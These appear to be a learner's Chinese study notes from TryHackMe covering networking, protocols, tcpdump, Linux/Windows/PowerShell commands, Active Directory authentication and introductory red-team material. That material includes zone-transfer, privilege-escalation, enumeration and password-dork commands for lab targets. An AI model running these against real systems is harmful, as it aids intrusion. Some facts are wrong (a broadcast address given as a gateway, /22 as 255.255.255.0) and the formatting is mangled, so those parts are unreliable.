THM笔记

部分太过简单就不再记录

Medium上有很多wp,可以借鉴

基础知识

IP

Internet protocol

  • 网络地址192.168.1.1
  • 主机地址192.168.1.101
  • 默认网关192.168.1.255
    • 向别的网关发送数据

MAC地址

Media Access Control

前6个字符代表制造网络接口的公私,后六个字符是一个唯一的数字

LAN

连接方式拓扑(Topology

  1. 星型
    • 通过交换机或集线器连接
    • 添加方便,成本高,不适合大规模
  2. 总线拓扑
    • 有主干电缆,
    • 成本低,排查困难
  3. 环形拓扑
    • 一个坏就全完
特性 集线器(Hub) 交换机(Switch) 中继器(Repeater)
工作层次 物理层(Layer 1) 数据链路层(Layer 2) 物理层(Layer 1)
数据传输 广播所有端口 根据 MAC 地址定向转发 放大并转发信号
带宽 所有端口共享带宽 每个端口独立带宽 无带宽概念,仅用于信号放大
智能 无智能,仅转发数据 智能转发数据,避免广播 无智能,仅放大信号

ARP

Address Resolution Protocol 地址解析协议

将这两个标识符(IP 地址和 MAC 地址)映射在一起

用来广播IP的所有者来确定mac地址

DHCP

(Dynamic Host Configuration Protocol)

动态主机配置协议

询问,请求,确认

七层模型

  1. 物理层
  2. 数据链路层
    • 网络层来接收数据,并添加接收端点的物理mac地址
    • 所有联网设备附带的硬件名称是NIC网络接口卡,无法更改
    • switch
  3. 网络层
    • 能够用IP地址传送数据包
    • OSPF 开放最短路径优先)****和RIP 路由信息协议
    • switch
    • 防火墙
  4. 传输层
    • tcp(Transmission Control Protocol
    • udp(User Datagram Protocol
    • 防火墙
  5. 会话层
  6. 表示层
    • 起连接作用,tanslator
  7. 应用层
    • 用户交互

vpn

  • ipsec
    • 设置困难,加密功能强大
  • PPTP点对点****隧道协议
    • 设置简单,加密性弱
  • ppp
    • 加密并提供数据认证

DNS

用nslookup去查看

  • nslookup –type=cname xxx

DNS在应用层(即 ISO OSI 模型的第 7 层)运行。DNS流量默认使用 UDP 端口 53,TCP 端口 53 作为默认后备。DNS 记录有很多种类型;但是,在本任务中,我们将重点关注以下四种:

  • A 记录:A(地址)记录将主机名映射到一个或多个 IPv4 地址。例如,您可以设置example.com为解析为172.17.2.172
  • AAAA 记录:AAAA 记录与 A 记录类似,但它适用于 IPv6。请记住,它是 AAAA(四 A),因为 AA 和 AAA 指的是电池大小;此外,AAA 指的是身份验证、授权和记帐;两者都不属于DNS。
  • CNAME 记录:CNAME(规范名称)记录将一个域名映射到另一个域名。例如,www.example.com可以映射到example.com,甚至可以映射到example.org
  • MX 记录:MX(邮件交换)记录指定负责处理域电子邮件的邮件服务器。

whois

使用该whois命令查找 WHOIS 记录受隐私保护的域。

封装

  • 应用程序数据:一切从用户将想要发送的数据输入应用程序开始。例如,您编写电子邮件或即时消息并点击发送按钮。应用程序会格式化这些数据,并根据所使用的应用程序协议使用其下方的层(传输层)开始发送这些数据。
  • 传输协议段或数据报:传输层(如 TCP 或UDP)添加适当的报头信息并创建TCP (或UDP 数据报)。该段被发送到其下一层,即网络层。
  • 网络数据包:网络层,也就是 Internet 层,给收到的 TCP 段或UDP数据报添加一个 IP 报头。然后,这个 IP数据包被发送到它下面的层,即数据链路层。
  • 数据链路帧:以太网或 WiFi 接收 IP 数据包并添加适当的报头和尾部,从而创建

image-20250106141237565

  • 应用层发的是数据data
  • 传输层发的是
    • tcp协议段segment
    • udp数据报datagram
  • 网络层的是数据包packet
  • 数据链路层的是数据帧frame

网络协议

DHCP

服务器监听UDP端口 67,客户端从UDP端口 68 发送。您的智能手机和笔记本电脑默认配置为使用DHCP 。

DHCP遵循四个步骤:发现、提供、请求和确认 (DORA):

  1. DHCP发现:客户端将广播 DHCPDISCOVER 消息,寻找本地DHCP服务器(如果存在)。
  2. DHCP提供:服务器以 DHCPOFFER 消息进行响应,其中包含可供客户端接受的 IP 地址。
  3. DHCP请求:客户端以 DHCPREQUEST 消息进行响应,表明它已接受提供的 IP。
  4. DHCP确认:服务器以 DHCPACK 消息进行响应,以确认提供的 IP 地址现已分配给该客户端。

HCP服务器为我们提供以下内容:

  • 租用IP地址访问网络资源
  • 将数据包路由到本地网络之外的网关
  • 用于解析域名的DNS服务器(稍后会详细介绍)

ARP

访问mac地址的

Address Resolution Protocol

通过 ARP 请求和响应,设备能够获得目标主机的物理地址,并通过缓存避免频繁的 ARP 请求。尽管 ARP 协议简单高效,但它也存在一定的安全风险,ARP 欺骗攻击是其中的一个典型问题。

地址解析协议 ( ARP ) 使得在以太网上查找另一台设备的 MAC 地址成为可能,具有 IP 地址的主机192.168.66.89想要与具有 IP 地址的另一个系统进行通信192.168.66.1。它发送ARP请求,要求具有 IP 地址的主机192.168.66.1做出响应。ARP请求从请求者的 MAC 地址发送到广播 MAC 地址,如第一个数据包中所示。ARP答复随后不久到达,具有 IP 地址的主机以其 MAC 地址做出响应。从此时起,两台主机可以交换数据链路层帧。ff:ff:ff:ff:ff:ff``192.168.66.1

ICMP

Internet Control Message Protocol (ICMP)

  • ping:此命令使用 ICMP 测试与目标系统的连接并测量往返时间 (RTT)。换句话说,它可用于了解目标是否处于活动状态以及其回复是否可以到达我们的系统。
  • traceroute``traceroute:此命令在Linux和类 UNIX 系统以及MS Windows 系统上调用tracert。它使用 ICMP 来发现从您的主机到目标的路由。

路由协议

  • OSPF(开放最短路径优先):OSPF 是一种路由协议,允许路由器共享有关网络拓扑的信息并计算最有效的数据传输路径。它通过让路由器交换有关其连接链路和网络状态的更新来实现这一点。这样,每个路由器都有完整的网络地图,并可以确定到达任何目的地的最佳路线。
  • EIGRP(增强型内部网关路由协议):EIGRP 是 Cisco 专有的路由协议,它结合了不同路由算法的各个方面。它允许路由器共享有关它们可以到达的网络以及与这些路由相关的成本(如带宽或延迟)的信息。然后,路由器会使用这些信息来选择最有效的数据传输路径。
  • BGP(边界网关协议):BGP 是互联网上使用的主要路由协议。它允许不同的网络(如互联网服务提供商的网络)交换路由信息并建立数据在这些网络之间传输的路径。BGP 有助于确保数据即使在穿越多个网络时也能在互联网上高效路由。
  • RIP(路由信息协议):RIP 是一种简单的路由协议,通常用于小型网络。运行 RIP 的路由器会共享有关它们可以到达的网络以及到达该网络所需的跳数(路由器)的信息。因此,每个路由器都会根据此信息构建路由表,选择跳数最少的路由到达每个目的地。

NAT

背后的理念是使用一个公有 IP 地址许多私有 IP 地址提供 Internet 访问。

从笔记本电脑的角度来看,连接是从其 IP 地址192.168.0.129从TCP源端口号发起的15401;但是,Web 服务器将看到此连接是从 TCP 端口号 建立的212.3.4.5,如转换表所示。路由器无缝地执行此地址转换。19273

假设路由器具有无限的处理能力,粗略地说,它能够维持65千个同时的TCP连接

s/FTP/s

21端口的文本传输协议,990是ftps

在下面的终端中,我们执行了使用本地客户端ftp 10.10.25.157连接到远程FTP服务器的命令ftp。然后我们经历了以下步骤:

  • 我们使用用户名anonymous登录
  • 我们不需要提供任何密码
  • 发布ls返回可供下载的文件列表
  • type ascii由于这是一个文本文件,因此切换到 ASCII 模式
  • get coffee.txt允许我们检索我们想要的文件

默认连接账户anonymous,密码为空

sftp

SFTP 代表SSH文件传输协议,允许安全的文件传输。

ftps

要设置证书,并且由于它使用单独的连接进行控制和数据传输,因此很难通过严格的防火墙。

SSH

22,23端口的远程连接协议

TELNET 服务器监听端口 23,而SSH服务器监听端口 22。

SMTP/s

加密之后465+587

未加密25端口

邮件传输协议 ( SMTP )

  • HELOEHLO发起SMTP会话
  • MAIL FROM指定发件人的电子邮件地址
  • RCPT TO指定收件人的电子邮件地址
  • DATA表示客户端将开始发送电子邮件消息的内容。
  • .单独发送一行,表示结束

pop3/s

Post Office Protocol version 3

接收电子邮件监听110端口,加密之后995端口

一些常见的POP3命令是:

  • AUTH 进去第一句命令
  • USER <username>识别用户
  • PASS <password>提供用户密码
  • STAT请求消息数量和总大小
  • LIST列出所有消息及其大小
  • RETR <message_number>检索指定消息
  • DELE <message_number>标记消息以进行删除
  • QUIT结束POP3会话并应用更改,例如删除

IMAP/s

143/993端口;同步邮箱

Internet Message Access Protocol

IMAP协议命令比POP3协议命令复杂一些,下面我们列举几个例子:

  • LOGIN <username> <password>验证用户身份
  • SELECT <mailbox>选择要使用的邮箱文件夹
  • FETCH <mail_number> <data_item_name>示例fetch 3 body[]获取消息编号 3、消息头和正文。
  • MOVE <sequence_set> <mailbox>将指定的邮件移至另一个邮箱
  • COPY <sequence_set> <data_item_name>将指定的邮件复制到另一个邮箱
  • LOGOUT登出

SSL/TLS

安全套接字 SSL (Secure Sockets Layer)

自签证书不应用于确认服务器的真实性

对于需要识别自己的每个服务器(或客户端),第一步都是获取签名的 TLS 证书。通常,服务器管理员会创建证书签名请求 (CSR) 并将其提交给证书颁发机构 (CA);CA 会验证 CSR 并颁发数字证书。收到(签名的)证书后,可以使用它来向其他人识别服务器(或客户端),其他人可以确认签名的有效性。为了让主机确认签名证书的有效性,需要在主机上安装签名颁发机构的证书。在非数字世界中,这类似于识别各种颁发机构的印章。

wireshark解密
  • First, after right-clicking anywhere, choose “Protocol Preferences.” From the submenu, select “Transport Layer Security.” Thirdly, click on “Open Transport Layer Security preferences.”
  • Clicking “Open Transport Layer Security preferences” will show a dialog box. You must click the “Browse” button marked with four to locate the ssl-key.log. You can find it in the Documents directory. Finally, click OK, and Wireshark will show all the TLS decrypted. One of these packets contains login credentials.

http/https

80,8080

443,8443

将域名解析为IP之后

http

  1. 与目标服务器建立TCP三次握手
  2. 使用HTTP协议进行通信;例如,发出HTTP请求,如GET / HTTP/1.1
  3. 三次挥手(四合一

https

  1. 与目标服务器建立TCP三次握手
  2. 建立 TLS 会话
    • client hello
    • server hello
  3. 使用HTTP协议进行通信;例如,发出HTTP请求,如GET / HTTP/1.1

通过提供密钥可以解密

wires hark

要文件MD5值就先拉出来再MD5sun

tcpdump抓包分析

Tcpdump 工具及其libpcap库是用 C 和 C++ 编写的

在windows上叫wincap

假设您只对与网络打印机或特定游戏服务器交换的 IP 数据包感兴趣。您可以使用主机 IP 或主机 HOSTNAME 轻松地将捕获的数据包限制到此主机。在下面的终端中,我们捕获与 example.com 交换的所有数据包并将其保存到 http.pcap。需要注意的是,捕获数据包需要您以 root 身份登录或使用 sudo。

  • Filtering by Host
    • sudo tcpdump host example.com -w http.pcap
  • Filtering by Host
    • sudo tcpdump -i ens5 port 53 -n
  • Filtering by Protocol
    • sudo tcpdump -i ens5 icmp -n

三个很方便的逻辑运算符:

and:捕获两个条件都为真的数据包。例如,tcpdump host 1.1.1.1 and tcp捕获tcp带有 的流量host 1.1.1.1。
or:当任一条件为真时捕获数据包。例如,tcpdump udp or icmp捕获UDP或 ICMP 流量。
not:当条件不成立时捕获数据包。例如,捕获除 TCP 段之外的所有数据包;我们期望在结果中tcpdump not tcp找到 UDP、ICMP 和ARP数据包。

Tcpdump 是一款功能丰富的程序,具有许多选项,可用于自定义数据包的打印和显示方式。我们选择涵盖以下五个选项:

-q:快速输出;打印简要的数据包信息
-e:打印链接级标题
-A:以 ASCII 格式显示数据包数据
-xx:以十六进制格式显示数据包数据,简称hex
-X:以十六进制和 ASCII 显示数据包头和数据

命令 解释

tcpdump -i INTERFACE 捕获特定网络接口上的数据包
tcpdump -w FILE 将捕获的数据包写入文件
tcpdump -r FILE 从文件读取捕获的数据包
tcpdump -c COUNT 捕获特定数量的数据包
tcpdump -n 不解析 IP 地址
tcpdump -nn 不解析 IP 地址,也不解析协议号
tcpdump -v -vv详细显示;详细程度可以通过和增加-vvv

命令 解释
tcpdump host IP或者tcpdump host HOSTNAME 按 IP 地址或主机名过滤数据包
tcpdump src host IP或者 根据特定源主机过滤数据包
tcpdump dst host IP 根据特定目标主机过滤数据包
tcpdump port PORT_NUMBER 按端口号过滤数据包
tcpdump src port PORT_NUMBER 按指定源端口号过滤数据包
tcpdump dst port PORT_NUMBER 按指定目标端口号过滤数据包
tcpdump PROTOCOL 按协议过滤数据包;示例包括ipip6icmp
找mac访问

tcpdump -r traffic.pcap arp and arp[24:4]=0xc0a87c89

  • 这个命令的目的是过滤出所有 ARP 数据包,并且只显示目标 IP 地址为 192.168.124.137(即 0xc0a87c89)的 ARP 数据包。
找数量

tcpdump -r traffic.pcap icmp -n | wc

  • 输出行数,icmp协议的
找第一个出现的域名

tcpdump -nnr traffic.pcap port 53

  • 1
检测tcp连接
检测tcp重置(RST
  • tcpdump -nnr traffic.pcap “tcp[tcpflags] == tcp-rst” |wc -l
发送量大于15000字节的数据主机IP
  • tcpdump -nnr traffic.pcap “greater 15000”
发送arp请求的主机mac地址
  • tcpdump -ennr traffic.pcap arp

tcp

您可以使用tcp[tcpflags]来引用TCP标志字段。以下TCP标志可供比较:

tcp-syn TCP SYN(同步)
tcp-ack TCP ACK(确认)
tcp-fin TCP FIN(完成)
tcp-rst TCP RST(重置)
tcp-push TCP推送

大小

greater LENGTH:过滤长度大于或等于指定长度的数据包
less LENGTH:过滤长度小于或等于指定长度的数据包

Linux

  • 进程控制
    • systemctl
  • 进入后台运行的进程
    • fg
  • 进程管理
    • SIGTERM——终止进程,但允许它事先做一些清理任务
    • SIGKILL-终止进程-事后不做任何清理
    • SIGSTOP——停止/暂停进程
    • systemctl stop
    • systemctl enable

基础命令

1
2
3
4
5
6
ss tcp/ip连接

telnet ip port 然后写数据包

域名转移,-t AXFR表示我们正在请求区域传输
dig -t AXFR redteam.thm @10.10.177.74
  • 发行版本和更多信息
    • ls /etc/*-release 然后再打开里面的
  • 系统名称
    • hostname
  • 显示谁登录了
    • who
    • w 谁登录了以及在做什么
    • id 打印真实有效的用户和组id
    • last 最近登录的用户列表
  • 网络信息
    • ip a s (ip address show)
    • 域名服务器
      • cat /etc/resolv.conf
    • netstat
选项 描述
-a 显示监听和非监听套接字
-l 仅显示监听套接字
-n 显示数字输出而不是解析 IP 地址和端口号
-t TCP
-u UDP
-x UNIX
-p 显示套接字所属程序的PID和名称
  • 进程
    • ps
    • ps auxf f代表森林
选项 描述
-e 所有流程
-f 全格式列表
-j 作业格式
-l 长格式
-u 以用户为导向的格式
  • 泄露敏感信息
    • 邮件目录
      • /var/mail
    • 已安装的应用程序
      • ls -lh /user/bin/
      • ls -lh /sbin/
  • RPM(Red Hat Package Manager)是一种包管理系统
    • rpm -qa -qa表示要查询的所有软件包
  • debian
    - 已安装软件包列表
    - dpkg -l

更改默认shell

1
2
zsh临时更改,永久更改走下边
chsh -s /usr/bin/zsh

zsh

  • Zsh 提供了高级的制表符补全功能,还能够编写脚本
  • 比其他 shell 慢
  • 用插件语法高亮

FIsh

  • 为命令提供自动拼写纠正。
  • 带语法高亮

bash

shell脚本

每个脚本都应该有shebang

#!/bin/bash

找端口服务

根据端口

sudo netstat -anop |grep :6667

根据服务部分找全部

sudo ps afux | grep “THM”

计时任务cron

crontab -e 进行编辑,@reboot是重启就运行

分钟,小时,天。月,年

Windows

  • BitLocker
    • BitLocker是Windows Pro版本中提供的全磁盘加密工具,它允许用户加密整个硬盘驱动器,以保护数据不被未授权访问。Home版本不支持BitLocker。
  • 本地用户和组管理
    • 搜索other user
    • win+r lusrmgr.msc
  • 任务管理器快捷键
    • Ctrl+Shift+Esc
  • 性能监视器
    • perfmon

系统配置

  • msconfig
  • 一般的
    引导
    服务
    启动 启动项,为空
    工具,在这里about能看到版本信息

启动项管理

  • taskmgr 任务管理器

UAC

User Account Control,用户帐户控制)

computer_manager

1
compmgmt.msc
计划任务
事件查看器

事件查看器有三个窗格。
左侧窗格提供了事件日志提供程序的层次树列表。(如上图所示)
中间的窗格将显示所选提供商特定事件的概述和摘要。
右侧的窗格是操作窗格。

共享文件夹
设备管理
服务与应用

禁用启用查看服务

存储

磁盘分区扩容压缩

system_infomation

1
sysinfo32

系统摘要中的信息分为三个部分:

硬件资源 hardware resources
成分 components
软件环境 software Environment

资源监视器

1
resmon

基础命令

1
2
3
4
5
6
7
8
9
10
hostname	#输出计算机名称
whoami #输出登录用户的名称
/? #检索命令帮助手册
cls #清屏
netstat #查看tcp/ip网络连接
查找端口运行的程序👇
netstat -ano |findstr :3389
根据进程查tasklist /FI "PID eq 988"
netsh advfirewall firewall show rule name=all
#防火墙端口开放详细

查找flag

dir C:\flag.txt /s /p

基础三龙

  • 查看端口tcp
    • netstat -t
  • 根据端口查pid
    • netstat -ano | findstr :22
  • 根据pid查服务
    • tasklist /FI “PID eq 2068”
隐藏后缀打开

win+r

1
rundll32 shell32.dll,Options_RunDLL 7
tasklist

显示当前进程

1
tasklist /FI "imagename eq notepad.exe"

终止

1
taskkill /PID 1516
shutdown

/s关机

/a取消关机

/r重启

cmd和powershell

传统工具(如cmd.exe批处理文件)在自动化和管理这些系统方面显得力不从心。

powershell的开发采用的高级方法object-oriented

PowerShell命令称为cmdlets(发音为command-lets

powershell
系统和网络
  1. Get-ComputerInfo
    • systeminfo的升级版本
  2. Get-LocalUser
    • 列出本地账户
  3. Get-NetIPConfiguration
    • 列出网络接口的详细信息,IP地址,DNS服务器和网关配置
  4. Get-NetIPAddress
    • IP地址详细信息
实时系统分析

当前进程详细图

  • Get-Process

    • 进程详细图,cpu使用情况
  • Get-Service

    • 机器上服务状态的信息
  • Get-NetTCPConnection

    • 监测活动网络连接
  • Get-FileHash -Path .\ship-flag.txt

    • 获取文件hash

    OwningProcess


  • Get-Content:检索(获取)文件的内容并将其显示在控制台中。
    • Get-Command -CommandType “Function”
    • Get-Help Get-Date -examples
    • Get-Alias
      • 取别名
  • Set-Location:更改(设置)当前工作目录。

查找和下载cmdlet

1
2
Find-Module -Name "PowerShell*"     #模糊查找
Install-Module -Name "PowerShellGet"
移动+查看
  1. 移动到
    • Set-Location -Path “.\Documents
  2. 当前文件夹内容
    • Get-ChildItem ## -path xxx
  3. 输出指定内容
    • Get-ChildItem | Select-Object Name,Length
  4. 根据大小排序
    • Get-ChildItem | Sort-Object Length
  5. 筛选#根据-财产 “属性”
    • Get-ChildItem | Where-Object -Property “Extension” -eq “.txt”
  6. 模糊匹配
    • Get-ChildItem | Where-Object -Property “Name” -like “ship*”
  7. 复制
    • Copy-Item -Path xxx yyy
  8. 打开
    • Get-Content -Path “.\captain-hat.txt”
  9. 显示最大文件
    • Get-ChildItem | Sort-Object Length -Descending | Select-Object -First 1
  10. 搜索字符串
    • Select-String -Path “.\captain-hat.txt” -Pattern “hat”
  11. Get-ChildItem |Where-Object -Property “length” -gt 100
    • 检索当前目录中大小大于 100 的项目
建立新项目+删除
1
2
3
4
5
6
文件夹
New-Item -Path ".\captain-cabin\captain-wardrobe" -ItemType "Directory"
文件
New-Item -Path ".\captain-cabin\captain-wardrobe\captain-boots.txt" -ItemType "File"
删除
Remove-Item -Path ".\captain-cabin\captain-wardrobe\captain-boots.txt"
Where-object筛选

这里Where-Object根据文件的Extension属性进行过滤,确保只列出扩展名等于( -eq)的文件。.txt

运算符-eq(即“等于”)是与其他脚本语言(例如 Bash、Python)共享的一组比较运算符的一部分。为了展示 PowerShell 过滤的潜力,我们从该列表中选择了一些最有用的运算符:

  • -ne:“不等于”。此运算符可用于根据指定的条件从结果中排除对象。
  • -gt:“大于”。此运算符将仅过滤超过指定值的对象。需要注意的是,这是一个严格的比较,这意味着等于指定值的对象将被排除在结果之外。
  • -ge:“大于或等于-gt”。这是上一个运算符的非严格版本。与的组合-eq
  • -lt:“小于”。与“大于”类似,这是一个严格运算符。它仅包含严格低于某个值的对象。
  • -le:“小于或等于”。与 类似,这是前一个运算符的非严格版本。和-ge的组合。-lt``-eq

CLI

Command Line Interface(命令行界面)

set
1
发出命令set来检查您的路径。下面的终端输出显示了 MS Windows 将执行命令的路径,如以 开头的行所示Path=。
ver
1
ver命令来确定操作系统 ( OS ) 版本。
systeminfo
1
列出有关系统的各种信息,例如操作系统信息、系统详细信息、处理器和内存。

IP相关

tracert + example.com
1
输出经过的路由器
nslookup
1
查找主机或域并返回其IP
netstat
1
显示当前监听的端口和网络连接
  • -a显示所有已建立的连接和监听端口
  • -b显示与每个监听端口和已建立的连接关联的程序
  • -o显示与连接关联的进程 ID ( PID )
  • -n使用数字形式表示地址和端口号

注册表

1
regedit

Windows 更新

更新通常在每个月的第二个星期二发布。这一天称为

补丁星期二

Windows 更新设置是“受管理的”。(通常,家庭用户不会看到此类消息)

1
CMD 运行命令 control /name Microsoft.WindowsUpdate

Windows安全

打开防火墙
1
WF.msc
浏览器访问保护

根据微软的说法,“ Microsoft Defender SmartScreen 可防止网络钓鱼或恶意软件网站和应用程序以及潜在恶意文件的下载”。

可信平台模块( TPM )

Trusted Platform Module

内存完整性和cpu完整性

1
2
Core isolation
Security processor
USB startup key

在没有TPM 版本 1.2 或更高版本的计算机上,用户必须插入

vss(Volume Shadow Copy Service

其他工具

没用过都

  • Sysinternals Suite

    -

    实用程序名称 描述
    进程浏览器 显示进程以及打开的文件和注册表项
    进程监控 监控文件系统、进程和注册表
    列表 提供有关流程的信息
    登入 显示已登录的用户
  • Process Hacker

  • GhostPack Seatbelt

信息搜集+资源

免费证书签名TLS

Let‘s Encrypt

创建自己的https网站

主机信息搜集

fofa

Shodan

censys

威胁软件分析

微步云沙箱

virustotal

https://blog.csdn.net/

https://sandbox.dbappsecurity.com.cn/

信息泄露自查

Have I Been Pwned

cve查询

exploit database

MITRE Corporation maintains the CVE system

cve

不知道这是啥

国外网站

LinkedIn

  • 搜集国外员工技术背景

黑帽子

wp

在线解码hash

资源金库

https://attack.mitre.org/

其他信息库

https://malpedia.caad.fkie.fraunhofer.de/

国外工具

协助传输文件

  • certutil

挖掘监控短信流量

  • MESSAGETAP

提权工具

WES-NG:Windows 漏洞建议器 - 下一代

PrivescCheck

  • https://github.com/itm4n/PrivescCheck

  • PowerShell脚本,用于在目标系统上搜索常见的特权升级。它提供了一种 WinPEAS 的替代方案,无需执行二进制文件。

  • PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
    PS C:\> . .\PrivescCheck.ps1
    PS C:\> Invoke-PrivescCheck
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87



    WinPEAS

    - https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
    - WinPEAS 是一个脚本,用于枚举目标系统以发现特权提升路径。
    - winPEAS 的输出可能很长,有时难以阅读。这就是为什么始终将输出重定向到文件是个好习惯,

    # 域

    ## 成员分配

    ### 删除多余ou和用户

    高级功能-》右键属性object-》关闭保护,然后就能删了

    ### 代表团

    Delegation

    权限的委托

    右键Delegation control,然后先添加,再检查姓名

    lipp123!

    ### 机子区分

    #### PC

    - **Personal Computer**:个人计算机。通常指用于个人或家庭使用的计算机,如台式机和笔记本电脑。PC 通常用于日常办公、娱乐、学习等任务。

    #### LPT

    - **Line Printer Terminal**:行式打印机终端。在早期的计算机系统中,LPT 通常指连接到计算机的并行打印机接口。LPT 端口用于将数据从计算机传输到打印机。现代计算机中,LPT 端口已被 USB 等更先进的接口所取代。

    #### SRV 和 SVR

    - **Server**:服务器。这两个缩写通常都表示服务器。服务器是一种计算机,专门用于为其他计算机或设备提供服务和资源。服务器可以运行各种服务,如 Web 服务、数据库服务、文件存储服务等。服务器通常具有更高的性能和更强的处理能力,以满足多用户和高负载的需求。

    ## 身份验证

    ### Kerberos:

    任何较新版本的 Windows 均使用此协议。这是任何较新域中的默认协议。

    机制:

    1. 创建票据![image-20250104210635344](https://github.com/DDL08/images/blob/img/img/image-20250104210635344.png?raw=true)
    1. 用户将(用户名+密码派生的密钥加密的时间戳)-》密钥分发中心(KDC)Key Distribution Center
    2. KDC创建并返回一个(TGT)**Ticket Granting Ticket** +会话密钥
    - TGT是krbtgt账户的密码hash加密的,因为用户无法访问其内容(域控的一个密码
    - TGT包含会话密钥的副本作为其内容的一部分,KDC无需存储会话密钥,应为能根据解密tgt来恢复副本(如果需要)
    - 在 Windows 域中,KDC 是域控制器的一部分。域控制器不仅负责存储和管理 Active Directory 数据库,还包括负责身份验证和票证颁发的 KDC。
    2. 请求服务![image-20250104210656675](https://github.com/DDL08/images/blob/img/img/image-20250104210656675.png?raw=true)
    1. 用户向KDC发送TGT,请求TGS(**Ticket Granting Service** )请求票证授予服务。
    - 附加会话密钥加密的(用户和时间戳)+服务主体名称 **Service Principal Name (SPN)**
    2. KDC向用户发送TGS+服务会话密钥,使用这个密钥来验证我们要访问的服务,
    - TGS使用**Service Owner Hash**服务所有者hash派生的密钥进行加密,加密过程中包含(服务会话密钥的副本)以便服务所有者可通过TGS来访问
    3. 用户通过将自身配置的账户的密码hash来解密TGS并验证服务会话![image-20250104210731648](https://github.com/DDL08/images/blob/img/img/image-20250104210731648.png?raw=true)

    ### NetNTLM:

    ![image-20250104211643536](https://github.com/DDL08/images/blob/img/img/image-20250104211643536.png?raw=true)

    为了兼容性目的而保留的旧式身份验证协议。

    1. 客户端向其想要访问的服务器发送身份验证请求。
    2. 服务器生成一个随机数并将其作为挑战发送给客户端。
    3. 客户端将其NTLM密码哈希与挑战(和其他已知数据)相结合,以生成对质询的响应并将其发送回服务器进行验证。
    4. 服务器将质询和响应转发给域控制器进行验证。
    5. 域控制器使用该质询重新计算响应,并将其与客户端发送的原始响应进行比较。 如果两者匹配,则客户端通过身份验证; 否则,访问被拒绝。 身份验证结果将发送回服务器。
    6. 服务器将认证结果转发给客户端。

    请注意,出于安全考虑,用户的密码(或哈希值)绝不会通过网络传输。

    **注意:**所述流程适用于使用域帐户的情况。如果使用本地帐户,服务器可以验证对质询的响应本身,而无需与域控制器交互,因为它已将密码哈希存储在其 SAM 上。

    # 工作组

    Group Policy Objects (GPO).组策略对象

    由于此 GPO 适用于整个域,因此对它的任何更改都会影响所有计算机。

    一旦对任何 GPO 进行了更改,计算机可能需要长达 2 小时才能跟上。如果您想强制任何特定计算机立即同步其 GPO,您可以随时在所需的计算机上运行以下命令:

    PS C:\> gpupdate /force
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123

    ## 组设置对部门的限制

    1. 创建一个名为的新GPO并打开它进行编辑。由于我们希望此GPO应用于特定用户,我们将查找User Configuration以下策略:
    2. 通过将GPO拖到每个 OU 来链接

    - 用于将 **GPO**(组策略对象)分发到域机器的网络共享名称是

    sysvol

    ## 共享文件夹

    在 Windows 域中,**SYSVOL** 是一个共享文件夹,包含域的公共文件,这些文件会被复制到所有域控制器上,并用于存储与组策略相关的文件(如 GPO 的策略设置、脚本等)。这些文件夹默认对域中的计算机和用户可用,并确保策略在所有计算机间一致地分发。

    # 红队

    ### C2框架

    https://tryhackme.com/r/room/introtoc2

    #### 免费

    1. **Metasploit**
    2. **Armitage**
    - 和cobalt strike相似
    3. **Powershell Empire/Starkiller**帝国/**弑星者**
    4. **Covenant**盟约
    - c#编写的
    - 主要用于后期开发和横向移动
    5. **Sliver** 裂片
    - go写的

    #### 付费

    1. **Cobalt Strike**钴打击
    - 打windows挺好用的,
    - java写的
    2. **Brute Ratel**野蛮人
    - 过阶段看看
    - https://bruteratel.com/
    - 教学https://bruteratel.com/tabs/tutorials/

    ### 概念知识,垃圾堆

    全球企业攻击标准

    **OPSEC** 是 **Operational Security**(操作安全)

    - /22是子网掩码255.255.255.0
    - /24是0到255

    1. Bean Enterprises 将密切监控与 DMZ 和关键/生产系统的交互。
    1. 禁止与“*.bethechange.xyz”进行任何互动。
    2. 允许与“*.globalenterprises.thm”的所有交互。

    **Advanced Persistent Threats (APT)高级持续性威胁**

    **Tactics, Techniques and Procedures (TTPs)战术、技术和程序**

    ## 信息搜集

    ### 域名信息搜集

    #### 平台

    https://threatintelligenceplatform.com/

    https://viewdns.info/

    [maltego](https://www.maltego.com/transform-hub/)就是过度人性化了

    #### 命令

    - whois
    - nslookup
    - ipv4/6
    - dig
    - 指定dns服务器,例如dig clinic.thmredteam.com @1.1.1.1
    - host
    - traceroute
    - 显示路由,但只显示几个
    - recon-ng (recon侦察
    - recon-ng -w clinicredteam 创建工作区
    - db insert domains 输入插入域名,然后下一句输入域名
    - marketplace search censys_email_address 搜索模块
    - marketplace info censys_email_address 搜索模块信息
    - `modules search`获取所有已安装模块的列表
    - `modules load MODULE`将特定模块加载到内存中
    - load module
    - run

    #### Google

    如何使用 Google 搜索 `xls` clinic.thmredteam.com 的索引?

    - filetype:xls site:clinic.thmredteam.com

    如何使用 Google 搜索包含“ `passwords` clinic.thmredteam.com”一词的文件?

    - passwords site:clinic.thmredteam.com

    ### 内部信息收集

    #### DMZ

    Demilitarized Zone非军事区

    用来隔离和启用对公共网络流量,不受信任流量的访问控制

    #### TCP 和 UDP 开放端口

    netstat -na

    arp -a

    查找域内情况

    systeminfo | findstr Domain

    #### enumerate

    用powershell

    Get-ADUser -Filter *

#枚举用户和组
Get-ADUser -Filter * -SearchBase “CN=Users,DC=THMREDTEAM,DC=COM”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
